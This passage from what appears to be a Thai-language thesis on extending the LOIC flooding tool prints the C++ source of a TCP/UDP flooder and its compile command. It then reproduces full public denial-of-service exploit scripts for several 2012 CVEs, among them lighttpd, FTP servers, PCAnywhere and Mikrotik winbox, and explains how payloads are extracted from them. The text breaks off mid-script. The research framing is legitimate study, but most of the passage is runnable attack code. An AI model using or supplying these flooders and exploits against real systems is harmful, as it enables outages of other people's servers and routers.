    QString Protocol; 
    quint32 Delay; 
    quint32 Timeout; 
    bool Response; 
    QString Data; 
    xppflooder(QString ip, quint32 port, QString protocol, quint32 
delay, quint32 timeout, bool resp, QString data); 
    void stop(); 
 
protected: 
    void run(); 
private: 
    volatile bool active; 
}; 
 
#endif  

ภาพที* 4.11 รหสัต้นฉบบั xppflooder.h 
 

 
#include "xppflooder.h" 
 
 
xppflooder::xppflooder(QString ip, quint32 port, QString protocol, 
quint32 delay, quint32 timeout, bool resp, QString data) 
{ 
 
 

ภาพที* 4.12 รหสัต้นฉบบั xppflooder.cpp  
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    qDebug() << "in Constructor xppflooder..." << endl; 
    active = true; 
    IP = ip; 
    Port = port; 
    Timeout = timeout; 
    Protocol = protocol; 
    Delay = delay; 
    Response = resp; 
    Data = data; 
    FloodCount = 0; 
    Failed = 0; 
} 
 
// 
// Run the packet generator thread; 

// Commence writing data to sockets 

// 
void xppflooder::run() 
{ 
    FloodCount = 0; 
    while (active) { 
       qDebug() << "xppflooder::Protocol:" << Protocol << endl; 
            qDebug() << "xppflooder::Port:" << Port << endl; 
            qDebug() << "xppflooder::IP:" << IP << endl; 
    
        if (Protocol == "TCP") { 
 
            QByteArray byteArray = Data.toLatin 1(); 
            const char *data = byteArray.data(); 
            qint 64 string_length = strlen(data)+ 1; 
 
 
            QHostAddress *addr = new QHostAddress(IP); 
            QTcpSocket *Socket = new QTcpSocket; 
            Socket->connectToHost(IP, Port); 
 
            if (!Socket->waitForConnected(Timeout)) { 
                Failed++; 
                Socket->close(); 
                delete addr; 
                delete Socket; 
                continue; 
                  } 
 
            while (active) { 
                qint 64 errcode = 0; 
                do { 
 
                    if(""!=Data) { 
                        FloodCount++; 
                    } 
 
            qDebug() << "xppflooder:TCP:Data:" << Data <<  endl;  
, 

ภาพที* 4.12 รหสัต้นบบั xppflooder.cpp (ตอ่) 



 
 

35 

 
                    qDebug() << "xppflooder::rounds at:" << 
QString::number(FloodCount); 
 
 
                    errcode = Socket->write(data, string_length); 
                    Socket->flush(); 
                    this->msleep(Delay); 
                } while ((errcode != -1) && (active)); 
 
                // if you write to a socket for some time, it appears 
to become unusable 
                Failed++; 
                break; 
            } 
            Socket->close(); 
            delete addr; 
            delete Socket; 
 
        } else if (Protocol == "UDP") { 
 
            QHostAddress *addr = new QHostAddress(IP); 
            QUdpSocket *Socket = new QUdpSocket; 
            Socket->connectToHost(IP, Port); 
 
            while (active) { 
                qint64 errcode = 0; 
                do { 
                    if(""!=Data) { 
                        FloodCount++; 
                    } 
                    qDebug() << "xppflooder:UDP:Data:" << Data << 
endl; 
                    qDebug() << "xppflooder::rounds at:" << 
QString::number(FloodCount); 
 
                    Socket->writeDatagram(Data.toUtf8(), *addr, 
Port); 
                    Socket->flush(); 
                    this->msleep(Delay); 
                } while ((errcode != -1) && (active)); 
            } 
            Socket->close(); 
            delete addr; 
            delete Socket;  
        } 
    } 
    active = true; 
}  
// 
// Set the thread's state to inactive 
// 
void xppflooder::stop() 
{ 
    active = false; 
} 
 

ภาพที* 4.12 รหสัต้นฉบบั xppflooder.cpp (ตอ่)  
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สําหรับคําสั*งที*ใช้ในการแปลโปรแกรม (compile) แอลโอไอซีทั 'งหมดที*ได้รับการ
ตอ่เตมิเข้าไปแล้วคือ 

 g++ -o ext-loic.so -shared -Wl,-soname,ext-loic.so  -I/usr/lib/jvm/java-6-openjdk/include     
-I/usr/lib/jvm/java-6-openjdk/include/linux   -I/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include    
-I/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtCore                                                               
-I/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtGui                                                                       
-I/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtNetwork                                                         
-L/opt/QtSDK/Desktop/Qt/4.8.1/gcc/lib      -lQtCore  -lQtGui   -lQtNetwork    
nativeinterface_ApiExtendingLoic.cpp  mainsynapse.cpp  httpflooder.cpp  
xppflooder.cpp 

4.2. การทาํกระสุน (Bullet Extraction) 
ในหวัข้อนี 'จะกล่าวถึงการทํากระสุนโดยอาศยัแนวคิดเรื*องกระสุนและการสร้าง

กระสนุที*ได้มีการกลา่วนําไปในบทที* 3 สําหรับขั 'นตอนของการสกดักระสนุมีภาพรวมดงัภาพที* 4.3 

 
ภาพที* 4.13 ขั 'นตอนการสกดักระสนุ 
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 ทั 'งนี ' สําหรับขั 'นตอนของการสกัดกระสุนเป็นขั 'นตอนการสกัดจากรหัสคําสั*ง
โปรแกรมที*สามารถหาได้ ส่วนการคิดกระสนุขึ 'นเองนั 'นยงัคงเป็นงานวิจยัที*ต้องทําตอ่ไป จากส่วน
เนื 'อข้อมูล 16 ตวั ได้มีการทดสอบยิงเป้าหมายที*มีช่องโหว่ซึ*งเป็นรหัสต้นฉบบัแบบเสรี (open 
source) ไปแล้วจํานวน 6 ตวัและอีกหนึ*งตวัที*เป้าหมายเป็นแชร์แวร์ (shareware) เทา่นั 'น 

4.2.1. การสกัดกระสุน CVE-2012-5533 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อ 4.2 แล้ว
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.14 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
บทคําสั*งเชลล์สคริปต์ (shell script) ที*เรียกใช้งานโปรแกรม Netcat หรือ nc อีกตอ่หนึ*ง 

 

 
#!/bin/bash 
# Exploit Title: simple lighttpd 1.4.31 DOS POC 
# Date: 11/21/2012 
# Exploit Author: t4c@ghcif.de 
# Vendor Homepage: http://www.lighttpd.net 
# Software Link: http://download.lighttpd.net/lighttpd/releases-
1.4.x/lighttpd-1.4.31.tar.gz  
# Version: 1.4.31 
# Tested on: Debian Linux, Gentoo Linux, Arch Linux 
# CVE: CVE-2012-5533 
 
if [ $# -lt 2 ] 
then 
 echo "usage :$0 <Host/IP> <Port>" 
else 
 echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: 
TE,,Keep-Alive\r\n\r\n" | nc $1 $2 
fi  

ภาพที* 4.14 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-5533 

เนื*องจาก มีการเรียกใช้งานการเชื*อมต่อผ่านทางโปรแกรม Netcat ดงันั 'นจึง
สามารถข้ามขั 'นตอนที*สองไปได้ ต่อมาให้ถอดส่วนที*มีการกําหนดไอพีและพอร์ตออกไป ทําให้
สามารถมองเห็นสว่นเนื 'อข้อมลูได้ ดงัภาพที* 4.15 

 

 
ภาพที* 4.15 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-5533 
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4.2.2. การสกัดกระสุน CVE-2012-1783 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.16 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาไพธอน ที*มีสว่นการสร้าง Socket ขึ 'นมาใช้งานในการเชื*อมตอ่เครือขา่ยเพื*อสง่
ข้อมลูผา่นทางฟังก์ชั*น HTTPConnection 

 

 
#!/usr/bin/python  
# Tiny HTTP Server <=v1.1.9 Remote Crash PoC 
# written by localh0t 
# Date: 24/02/11 
# Contact: mattdch0@gmail.com 
# Follow: @mattdch 
# www.localh0t.com.ar 
# Targets: Windows (All)  
 
 
 
import httplib,sys 
 
 
if (len(sys.argv) < 3): 
 print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC" 
        print "\n Usage: %s <host> <port> \n" %(sys.argv[0]) 
 sys.exit()  
payload = "X" * 658  
 
try: 
 print "\n[!] Connecting to %s ..." %(sys.argv[1]) 
 httpServ = httplib.HTTPConnection(sys.argv[1] , 
int(sys.argv[2])) 
 httpServ.connect() 
 print "[!] Sending payload..." 
 httpServ.request('GET', "/" + str(payload)) 
 print "[!] Exploit succeed. Check %s if crashed.\n" 
%(sys.argv[1]) 
except: 
 print "[-] Connection error, exiting..."  
 
httpServ.close() 
sys.exit()  

ภาพที* 4.16 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-1783 

ถอดส่วนที*มีการสร้าง Socket เพื*อใช้งานการเชื*อมต่อเครือข่ายผ่านทาง 
HTTPConnection ตอ่มาให้ถอดส่วนที*มีการกําหนดไอพีและพอร์ตออกไป ทําให้สามารถมองเห็น
สว่นเนื 'อข้อมลูได้ ดงัภาพที* 4.17 
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ภาพที* 4.17 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-1783 

4.2.3. การสกัดกระสุน CVE-2012-5329 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.18 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาไพธอนที*มีสว่นการสร้าง Socket ขึ 'นมาใช้งานในการเชื*อมตอ่เครือขา่ยเพื*อสง่
ข้อมลูที*มีรูปแบบ stream protocol เป็น SOCK_STREAM หรือในที*นี 'คือ TCP protocol นั*นเอง 

 
 
#!/usr/bin/python 
#####################################################################
########## 
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE 
command. 
# Date of Discovery: 3/16/2012 (0 Day) 
# Author: Brock Haun 
# Vulnerable Software Download: 
http://sourceforge.net/projects/ftpserv/ 
# Software Version: 1.1 
# Target OS: Windows 7 
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled 
by default.  
#####################################################################
##########  
 

ภาพที* 4.18 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-5329 
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import socket, sys 
 
 
if len(sys.argv)!= 2: 
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>' 
     sys.exit(1) 
 
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock 
Haun' 
 
host = sys.argv[1] 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 
 
buffer = 'A../' + '\x41' *100  
 
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").' 
 
s.connect((host,21)) 
 
 
data = s.recv(1024) 
 
s.send('USER anonymous' + '\r\n') 
 
 
data = s.recv(1024) 
 
 
s.send('PASS anonymous' + '\r\n') 
 
 
data = s.recv(1024) 
 
 
s.send('APPE ' + buffer + '\r\n') 
 
 
print '\n\t[*] Done! Target should be unresponsive!' 
 
 
s.close()  

ภาพที* 4.18 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-5329 (ตอ่) 

ถอดสว่นที*มีการสร้าง Socket เพื*อใช้งานการเชื*อมตอ่เครือข่าย ตอ่มาให้ถอดส่วน
ที*มีการกําหนดไอพีและพอร์ตที* 21 ออกไป ทําให้สามารถมองเห็นส่วนเนื 'อข้อมลูได้ ทั 'งนี ' เนื*องจาก
มีการส่งข้อมูลแบบหลายขั 'นสามารถทําการรวบมาเป็นกระสุนชุดเดียวกันได้หลงัจากที*มีการยิง
ทดสอบแล้ว ส่วน hex code ที*มีคา่ \x41 ที*มีปรากฎอยู่ในตวัแปร buffer นั 'นยงัสามารถแปลงให้
อยูใ่น ASCII printable characters ได้ ดงัภาพที* 4.19 
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ภาพที* 4.19 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-5329 

4.2.4. การสกัดกระสุน CVE-2012-5905 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.20 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาเพิร์ล (perl) ที*มีการไปเรียกไปใช้งานฟังก์ชนั FTP สําเร็จรูปเพื*อใช้สําหรับการสง่
ข้อมลู ทั 'งนี 'สําหรับฟังก์ชนั FTP สําเร็จรูปก็ยงัคงตั 'งอยู่บนพื 'นฐานการใช้งานสง่ข้อมลูผ่านทาง TCP 
protocol พอร์ต 21  

 
 
#!/usr/bin/perl 
 
##################################################################### 
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit 
# Author: Stefan Schurtz 
# Affected Software: Successfully tested on KnFTPd 1.0.0 
# Vendor URL: http://knftp.sourceforge.net/ 
# Vendor Status: informed 
# CVE-ID: CVE-2012-5905 
# PoC-Version: 1.0 
##################################################################### 
 

ภาพที* 4.20 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-5905  
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use strict; 
use Net::FTP; 
 
my $user = "system"; 
my $password = "secret";  
 
######################## 
# connect 
######################## 
my $target = $ARGV[0]; 
my $plength = $ARGV[1]; 
 
print "\n"; 
print "\t#######################################################\n"; 
print "\t# This PoC-Exploit is only for educational purpose!!! #\n"; 
print "\t#######################################################\n"; 
print "\n"; 
 
if (!$ARGV[0]||!$ARGV[1]) { 
 print "[+] Usage: $@ <target> <payload length>\n"; 
 exit 1; 
} 
 
my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to 
$target: $@"; 
print "[+] Connected to $target\n"; 
######################## 
# login 
######################## 
$ftp->login($user,$password) or die "Cannot login ", $ftp->message; 
print "[+] Logged in with user $user\n"; 
 
################################################### 
# Building payload './A' with min. length of 94 
################################################## 
my @p = ( "","./A" ); 
my $payload; 
print "[+] Building payload\n"; 
for (my $i=1;$i<=$plength;$i++) { 
  $payload .= $p[$i]; 
  push(@p,$p[$i]); 
} 
sleep(3);  
######################################### 
# Sending payload 
######################################### 
print "[+] Sending payload [$payload]\n"; 
$ftp->quot('FEAT ' ."$payload"); 
 
########################################## 
# disconnect 
########################################## 
print "[+] Done\n"; 
$ftp->quit; 
exit 0; 
#EOF 

ภาพที* 4.20 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-5905 (ตอ่) 
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ถอดสว่นที*มีการเรียกใช้งาน FTP สําเร็จรูปซึ*งถือเป็นการสร้าง Socket เพื*อใช้งาน
การเชื*อมต่อเครือข่ายผ่านทางพอร์ต 21 ต่อมาให้ถอดส่วนที*มีการกําหนดไอพีออกไป ทําให้
สามารถมองเห็นส่วนเนื 'อข้อมลูได้ ทั 'งนี ' เนื*องจากมีการส่งข้อมลูแบบหลายขั 'นสามารถทําการรวบ
มาเป็นกระสุนชุดเดียวกันได้เช่นเดียวกันหลงัจากที*มีการยิงทดสอบแล้ว ทําให้สามารถมองเห็น
สว่นเนื 'อข้อมลูได้ ดงัภาพพที* 4.21 

 
ภาพที* 4.21 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-5905  

4.2.5. การสกัดกระสุน CVE-2012-3845 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.22 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาไพธอนที*มีสว่นการสร้าง Socket ขึ 'นมาใช้งานในการเชื*อมตอ่เครือขา่ยเพื*อสง่
ข้อมลูที*มีรูปแบบ stream protocol เป็น SOCK_STREAM หรือ TCP protocol 

 
 
#!/usr/bin/python 
# Exploit Title: LAN Messenger <= v1.2.28 Remote Denial of Service 
# Vulnerability 
# Version:       <= v1.2.28 
# Date:          2012-04-28 
# Author:        Julien Ahrens 
# Homepage:      www.inshell.net 
# Software Link: http://lanmsngr.sourceforge.net/ 
# Tested on:     Windows XP SP3 Professional German, Windows      
# 2008R2 SP1 German 
# Notes:         Under WinXP the app needs 8190 Bytes to crash 
# Howto:         - 
 

ภาพที* 4.22 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-3845  
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from struct import pack 
import socket,sys 
import os 
 
target="192.168.0.1" 
port=50000 
 
junk = "\x41" * 8190  
 
print "[*] Connecting to Target " + target + "..." 
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
try: 
    connect=s.connect((target, port)) 
    print "[*] Connected to " + target + "!" 
except: 
    print "[!] " + target + " didn't respond\n" 
    sys.exit(0) 
 
print "[*] Sending malformed request..." 
s.send("\x4d\x53\x47" + junk) 
 
print "[!] Exploit has been sent!\n" 
s.close()  

ภาพที* 4.22 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-3845 (ตอ่) 

ถอดสว่นที*มีการสร้าง Socket เพื*อใช้งานการเชื*อมตอ่เครือข่าย ตอ่มาให้ถอดส่วน
ที*มีการกําหนดไอพีและพอร์ตออกไป ทําให้สามารถมองเห็นส่วนเนื 'อข้อมลู hex code ที*มีคา่ \x41 
ที*มีปรากฎอยู่ในตวัแปร junk รวมถึง hex code ชดุ \x4d\x53\x47 นั 'นยงัสามารถแปลงให้อยู่ใน 
ASCII printable characters ได้ ดงัภาพที* 4.23 

 

 
ภาพที* 4.23 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-3845  
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4.2.6. การสกัดกระสุน CVE-2012-0292 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.24 จะพบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาไพธอนที*มีสว่นการสร้าง Socket ขึ 'นมาใช้งานในการเชื*อมตอ่เครือขา่ยเพื*อสง่
ข้อมลูที*มีรูปแบบ stream protocol เป็น SOCK_STREAM หรือ TCP protocol 

 

 
#!/usr/bin/python 
 
''' 
Exploit Title:  PCAnywhere Nuke  
Date: 2/16/12 
Author: Johnathan Norman  spoofy <at> exploitscience.org  or 
@spoofyroot 
Version:  PCAnyWhere  (12.5.0 build 463) and below 
Tested on: Windows 
Description: The following code will crash the awhost32 service. 
It'll be respawned 
so if you want to be a real  pain you'll need to loop this.. my 
inital impressions 
are that controlling execuction will be a pain. 
''' 
 
import sys 
import socket 
import argparse 
 
if len(sys.argv) != 2: 
    print "[+] Usage: ./pcNuke.py <HOST>" 
    sys.exit(1) 
HOST = sys.argv[1] 
PORT = 5631               
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 
 
     
# HELLO! 
s.send("\x00\x00\x00\x00") 
buf = s.recv(1024) 
 
# ACK!  
s.send("\x6f\x06\xfe") 
buf = s.recv(1024) 
 
# Auth capability part 1  
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00") 
# Auth capability part 2 
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")  

ภาพที* 4.24 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-0292 
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ถอดสว่นที*มีการสร้าง Socket เพื*อใช้งานการเชื*อมตอ่เครือข่าย ตอ่มาให้ถอดส่วน
ที*มีการกําหนดไอพีและพอร์ตออกไป ทําให้สามารถมองเห็นส่วนเนื 'อข้อมูลได้ ดงัภาพที* 4.25 ซึ*ง
ส่วนเนื 'อข้อมลูสามารถแปลงเป็น ASCII printable characters ได้จาก เริ*มแรกให้ทําการแปลงคา่ 
hex code ไปเป็น c array byte ก่อนจากนั 'น จึงนําไปผ่านการเรียกใช้งานผ่านฟังก์ชนั toAscii() 
แสดงดงัภาพที* 4.26 

 

 
ภาพที* 4.25 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-0292  

 
 
 
 
char data[] = {0x00,0x00,0x00,0x00,0x6f,0x06,0xfe,0x6f, 
               0x62,0xff,0x09,0x00,0x07,0x00,0x00,0x01, 
               0xff,0x00,0x00,0x07,0x00,0x6f,0x62,0xff, 
               0x09,0x00,0x07,0x00,0x00,0x01,0xff,0x00,                                    
               0x00,0x07,0x00};                                   
struct toAscii{ char operator()(char value) 
const{ if(value<32&&value!=0x0d &&value!=0x0a) return '.';else return 
value; }                                                               
}; 

 

ภาพที* 4.26 รหสัต้นฉบบัแปลงซีอาร์เรย์ไบต์ไปเป็นรหสัแอสกี  
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int main () {                                                           
string s;                                                   
transform( &data[0], &data[sizeof(data)], back_inserter(s), toAscii() 
);                                                                
return 0; 
              
}  

ภาพที* 4.26 รหสัต้นฉบบัแปลงซีอาร์เรย์ไบต์ไปเป็นรหสัแอสกี (ตอ่) 

4.2.7. การสกัดกระสุน CVE-2012-6050 

การสกดักระสนุโดยอาศยัขั 'นตอนการสกดักระสนุที*ได้กล่าวไปในหวัข้อก่อนหน้านี '
เริ*มแรกให้สงัเกตที*รหสัคําสั*งโปรแกรมดงัภาพที* 4.27 พบวา่รหสัคําสั*งดงักล่าวพฒันาขึ 'นมาด้วย
โปรแกรมภาษาไพธอนที*มีสว่นการสร้าง Socket ขึ 'นมาใช้งานในการเชื*อมตอ่เครือขา่ยเพื*อสง่
ข้อมลูที*มีรูปแบบ stream protocol เป็น SOCK_STREAM หรือ TCP protocol 

 
 
#!/usr/bin/python  
# Exploit Title:  Mikrotik Router Remote Denial Of Service attack 
# Date:    19/4/2012 
# Author:    PoURaN @ 133tsec.com 
# Software Link:  http://www.mikrotik.com 
# Version:    All mikrotik routers with winbox service 
enabled are affected (still a 0day 30/5/2012) 
# Tested on:   Mikrotis RouterOS 2.9.6 up to 5.15 
# 
#  Vulnerability Description  
# =========================== 
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-   
# ddos-mikrotik-server-side-ddos-attack/ 
# The denial of service, happens on mikrotik router's winbox      
# service when the attacker is requesting continuesly a part of   
# a .dll/plugin  # file, so the service becomes unstable causing  
# every remote clients (with winbox) to disconnect and denies to  
# accept any further connections. That happens for about 5        
# minutes. After the 5 minutes, winbox is stable again, being able 
# to accept new connections. If you send the malicious packet in a 
# loop (requesting  part of a file right after the service        
# becoming available again) then you result in a 100% denial of   
# winbox service. While the winbox service is unstable and in a   
# denial to serve state, it raises router's CPU 100% and other    
# actions. The "other actions" depends on the router version and  
# on the hardware.                                                
# For example on Mikrotik Router v3.30 there was a LAN corruption, 
# BGP fail, whole router failure 
 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 
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#  => Mikrotik Router v2.9.6 there was a BGP failure 
# => Mikrotik Router v4.13 unstable wifi links 
# => Mikrotik Router v5.14/5.15 rarely stacking 
# =>>> Behaviour may vary most times, but ALL will have       
# CPU 100% . Most routers loose BGP after long time attack <<<= 
# 
# 
#  The exploit 
# ============= 
# This is a vulnerability in winbox service, exploiting the fact  
# that winbox lets you download files/plugins 
# that winbox client needs to control the server, and generally   
# lets you gain basic infos about the service BEFORE 
# user login! 
# Sending requests specially crafted for the winbox service, can  
# cause a 100% denial of winbox service (router side). 
# This script, offers you the possibility to download any of the  
# dlls that can be downloaded from the router one-by-one 
# or alltogether! (look usage for more info) .. The file must be  
# contained in the router's dll index. 
# The dlls downloaded, are in the format of the winbox service..  
# Meaning that they are compressed with gzip and they 
# have 0xFFFF bytes every 0x101 bytes (the format that winbox     
# client is expecting the files) 
# These DLLs can be used by the "Winbox remote code execution"    
# exploit script ;) 
#  Usage 
# ======= 
# Use the script as described below: 
# 1. You can download ALL the files of the router's dll index     
# using the following command: 
# python mkDl.py 10.0.0.1 * 1 
# the "1" in the end, is the speed.. "Speed" is a factor I    
# added, so the script delays a bit while receiving 
# information from the server. It is a MUST for remote routers 
# when they are in long distance (many hops) to use 
# a slower speed ( 9 for example ). 
# Also in the beginning of the dlls file list, script shows   
# you the router's version (provided by router's index) 
# 2. You can download a specific .dll file from the remote router. 
# python mkDl.py 10.67.162.1 roteros.dll 1 
# In this example i download roteros.dll (which is the biggest 
# and main plugin) with a speed factor of 1 (very fast) 
# Because roteros and 1-2 other files are big, you have to     
# request them in different part (parts of 64k each) 
# That is a restriction of winbox communication protocol. 
# If you don't know which file to request, make a "*" request 
# first (1st usage example), see the dlls list, and press ctrl-c 
# to stop the script.                                         
# 3. You can cause a Denial Of Service to the remote router..             
# Means denial in winbox service or more (read above for more) 
# python mkDl.py 10.67.162.1 DoS                              
# This command starts requesting from router's winbox service 
# the 1st part of roteros.dll looping the request                               
 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 (ตอ่) 
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# and causing DoS to the router. The script is requesting the 
# file till the router stops responding to the port (8291) 
# Then it waits till the service is up again (using some      
# exception handling), then it requests again till the remote 
# service is down again etc etc... The requests lasts for     
# about 2 seconds, and the router is not responding for about 
# 5 minutes as far as i have seen from my tests in different   
# routeros versions. 
# 
# <> Greetz to mbarb, dennis, andreas, awmn and all mighty    
# researchers out there! keep walking guys <>                        
# 
import socket, sys, os, struct, random, time 
 
def InitConnection(mikrotikIP, speed): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((mikrotikIP, 8291)) 
 s.send(winboxStartingIndex) 
 data = s.recv(1024)   # receiving dll index 
from server 
 time.sleep(0.001*speed) 
 if data.find("\xFF\x02"+"index"+"\x00") > -1: 
  print "[+] Index received!" 
 else: 
  print "[+] Wrong index.. Exiting.." 
  sys.exit(0) 
 return s                                                  
def download(filename, speed, s): 
 f = open(filename, 'wb') 
 if len(filename) < 13 and len(filename) > 6: 
  print "[+] Requesting file ", filename, ' <->' 
  winboxStartingFileReq = RequestHeader + 
filename.ljust(12, '\x00') + RequestFirstFooter 
  s.send(winboxStartingFileReq) 
  time.sleep(0.001*speed) 
  dataReceived = s.recv(1) 
  if dataReceived[0:1]=='\xFF':                       
print "[+] Receiving the file..." 
   f.write(dataReceived)     
 # written 1st byte 
   time.sleep(0.001*speed) 
   dataReceived = s.recv(0x101)   
 # 0x100 + 1 
   nextPartFingerprint = struct.unpack('>H', 
dataReceived[14:16])[0]                                                                                       
if dataReceived[0:1]=='\x02': 
    time.sleep(0.001*speed) 
    f.write(dataReceived)    
 # written 1st chunk 0x102 bytes with header in file. 
    dataReceived = s.recv(0x102)  
 # 1st sequence of (0xFF 0xFF)                                                                    
bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 
16) + 2                                                                                                                                      
f.write(dataReceived) # write the next 0x102 bytes (total  
 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 (ตอ่) 
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0x102+0x102 in file)                                                                                                
else: 
    print "[-] Wrong data received..(2)" 
    sys.exit(0) 
  else: 
   print "[-] Wrong data received..(1)" 
   sys.exit(0) 
   
  finalPart=0 
  bigFileCounter = 0xFFED 
  packetsCounted=0  # counter for the 0x101 packet 
counts. Every time a file is requested this counter is 0 
  fileRequested=0   # every time a file 
needs to be requested more than 1 time, this is it's counter. 
  while 1:       
 # header of file done.. Now LOOP the body.. 
   packetsCounted+=1 # dbg 
   time.sleep(0.001*speed) 
   dataReceived = s.recv(bytesToRead) 
   f.write(dataReceived)                                                           
if (bytesToRead <> len(dataReceived)) and packetsCounted==255:
 # an den diavazei osa bytesToRead prepei, simainei oti 
eftase sto telos i lipsi tou part pou katevazoume 
    packetsCounted = -1 
    print '[+] Next file part : ', 
fileRequested 
    s.send(RequestHeader + filename.ljust(12, 
'\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +
 struct.pack('>h',bigFileCounter)) 
    time.sleep(0.001*speed) 
    dataReceived = s.recv(0x101 + 2)  
 # Reads the new header of the new part!!! 
    nextPartFingerprint = struct.unpack('>H', 
dataReceived[14:16])[0] 
    f.write(dataReceived) 
    bytesToRead = 
int(dataReceived[len(dataReceived)-2].encode('hex'), 16) 
    fileRequested += 1 
    bigFileCounter -= 0x13                                  
bytesToRead = int(dataReceived[len(dataReceived)- 2].encode('hex'), 

16)  # den prostheto 2 tora giati to teleutaio den einai 

ff.. einai akrivos to size pou paramenei.. 
   if bytesToRead== 0xFF:   # kalipto 

tin periptosi opou to teleutaio struct den einai ff alla exei to 
size pou apomenei 
    bytesToRead += 2                                                                                  
if bytesToRead != 0x101 and nextPartFingerprint < 65517: # 

dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou 
file 
    time.sleep( 0.001*speed)                                    
dataReceived = s.recv(bytesToRead) 
    f.write(dataReceived)                                          
                                                      break 
 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 (ตอ่) 
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if bytesToRead != 0x101 and nextPartFingerprint==65517: 
 # ligotera bytes KAI fingerprint 65517 simainei corrupted 
file.. 
    print '[-] File download terminated 
abnormaly.. please try again probably with a slower speed..' 
    sys.exit(0) 
  if fileRequested < 1: print '[+] File was small and 
was downloaded in one part\n[+] Downloaded successfully' 
  else: print '[+] File '+filename+' downloaded 
successfully' 
 f.close() 
 s.close()  
def Flood(s): 
 filename = 'roteros.dll' 
 f = 'we\'r not gonna use I/O to store the data' 
 print "[+] Requesting file ", filename, ' till death :)' 
 time.sleep(1)                                                                          
winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') 
+ RequestFirstFooter 
 s.send(winboxStartingFileReq) 
 time.sleep(0.001) 
 dataReceived = s.recv(1) 
 if dataReceived[0:1]=='\xFF':                                                                           
